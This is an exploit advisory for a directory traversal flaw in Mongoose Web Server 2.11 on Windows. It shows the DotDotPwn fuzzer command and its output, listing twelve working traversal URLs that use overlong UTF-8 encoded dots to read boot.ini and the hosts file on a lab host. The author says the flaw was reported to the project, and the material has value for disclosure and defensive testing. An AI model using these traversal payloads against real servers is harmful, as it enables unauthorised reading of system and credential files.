Mongoose Web Server 2.11 Directory Traversal

`# Exploit Title: Mongoose 2.11 Directory Traversal  
# Date: 29 Oct  
# Author: nitr0us (Alejandro Hernandez H.)  
# Software Link: http://mongoose.googlecode.com/files/mongoose-2.11.exe  
# Version: 2.11 (Windows Version)  
# Tested on: Windows XP Service Pack 2  
  
Chatsubo [(in)Security Dark] Labs  
http://chatsubo-labs.blogspot.com  
http://www.brainoverflow.org  
  
Previous directory traversal flaws were found in Mongoose. The latest one was  
found by Gera from CORE Security at EKO Party 2009, but, there is still a flaw  
in the latest version (2.11) which was found by DotDotPwn.  
  
I already reported the flaw in the Mongoose's issue tracking system.  
http://code.google.com/p/mongoose/issues/detail?id=90&q=traversal#c10  
  
  
EXPLOIT:  
************************************************************************************  
******* Released @ BugCon Security Conferences 2010 - http://www.bugcon.org ********  
************************************************************************************  
  
nitr0us@daiquiri ~ #./dotdotpwn.pl -m http -h 192.168.242.128 -x 8080 -O -s -d 3 -t 100 -q  
#################################################################################  
# #  
# CubilFelino Chatsubo #  
# Security Research Lab and [(in)Security Dark] Labs #  
# chr1x.sectester.net chatsubo-labs.blogspot.com #  
# #  
# pr0udly present: #  
# #  
# ________ __ ________ __ __________ #  
# \______ \ ____ _/ |_\______ \ ____ _/ |_\______ \__ _ __ ____ #  
# | | \ / _ \\ __\| | \ / _ \\ __\| ___/\ \/ \/ // \ #  
# | ` \( <_> )| | | ` \( <_> )| | | | \ /| | \ #  
# /_______ / \____/ |__| /_______ / \____/ |__| |____| \/\_/ |___| / #  
# \/ \/ \/ #  
# - DotDotPwn v2.1 - #  
# The Directory Traversal Fuzzer #  
# http://dotdotpwn.sectester.net #  
# [email protected] #  
# #  
# by chr1x & nitr0us #  
#################################################################################  
  
[========== TARGET INFORMATION ==========]  
[+] Hostname: 192.168.242.128  
[+] Detecting Operating System (nmap) ...  
[+] Operating System detected: Microsoft Windows XP SP2 or Windows Server 2003 SP0/SP1  
[+] Protocol: http  
[+] Port: 8080  
[+] Service detected:  
  
[=========== TRAVERSAL ENGINE ===========]  
[+] Creating Traversal patterns (mix of dots and slashes)  
[+] Multiplying 3 times the traversal patterns (-d switch)  
[+] Creating the Special Traversal patterns  
[+] Translating (back)slashes in the filenames  
[+] Adapting the filenames according to the OS type detected (windows)  
[+] Including Special sufixes  
[+] Traversal Engine DONE ! - Total traversal tests created: 2328  
  
[=========== TESTING RESULTS ============]  
[+] Ready to launch 10.00 traversals per second  
[+] Press any key to start the testing (You can stop it pressing Ctrl + C)  
  
[*] Testing Path: http://192.168.242.128:8080/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/boot.ini <- VULNERABLE!  
  
[*] Testing Path: http://192.168.242.128:8080/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/windows/system32/drivers/etc/hosts <- VULNERABLE!  
  
[*] Testing Path: http://192.168.242.128:8080/%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\boot.ini <- VULNERABLE!  
  
[*] Testing Path: http://192.168.242.128:8080/%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\windows\system32\drivers\etc\hosts <- VULNERABLE!  
  
[*] Testing Path: http://192.168.242.128:8080/%c0%2e%c0%2e%2f%c0%2e%c0%2e%2f%c0%2e%c0%2e%2fboot.ini <- VULNERABLE!  
  
[*] Testing Path: http://192.168.242.128:8080/%c0%2e%c0%2e%2f%c0%2e%c0%2e%2f%c0%2e%c0%2e%2fwindows%2fsystem32%2fdrivers%2fetc%2fhosts <- VULNERABLE!  
  
[*] Testing Path: http://192.168.242.128:8080/%c0%2e%c0%2e%5c%c0%2e%c0%2e%5c%c0%2e%c0%2e%5cboot.ini <- VULNERABLE!  
  
[*] Testing Path: http://192.168.242.128:8080/%c0%2e%c0%2e%5c%c0%2e%c0%2e%5c%c0%2e%c0%2e%5cwindows%5csystem32%5cdrivers%5cetc%5chosts <- VULNERABLE!  
  
[*] Testing Path: http://192.168.242.128:8080/%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2fboot.ini <- VULNERABLE!  
  
[*] Testing Path: http://192.168.242.128:8080/%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2fwindows%c0%2fsystem32%c0%2fdrivers%c0%2fetc%c0%2fhosts <- VULNERABLE!  
  
[*] Testing Path: http://192.168.242.128:8080/%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5cboot.ini <- VULNERABLE!  
  
[*] Testing Path: http://192.168.242.128:8080/%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5cwindows%c0%5csystem32%c0%5cdrivers%c0%5cetc%c0%5chosts <- VULNERABLE!  
  
[+] Fuzz testing finished after 10.18 minutes (611 seconds)  
[+] Total Traversals found: 12  
  
`